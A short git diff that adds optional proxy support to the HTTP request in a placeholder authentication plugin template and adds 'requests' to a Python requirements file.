a/plugins/template/template.py +++ b/plugins/template/template.py @@ -33,8 +33,8 @@ def template_authenticate(url, username, password, useragent, pluginargs): # CHA headers = utils.add_custom_headers(pluginargs, headers) try: - - resp = requests.post(f"{url}/uri",headers=headers) + proxies = pluginargs.get('proxies') if isinstance(pluginargs, dict) else None + resp = requests.post(f"{url}/uri", headers=headers, proxies=proxies) if Success: data_response['result'] = "success" diff --git a/requirements.txt b/requirements.txt index bab23f8..3676703 100644 --- a/requirements.txt +++ b/requirements.txt @@ -5,4 +5,5 @@ bs4 lxml datetime requests_ntlm -discordwebhook \ No newline at end of file +discordwebhook +requests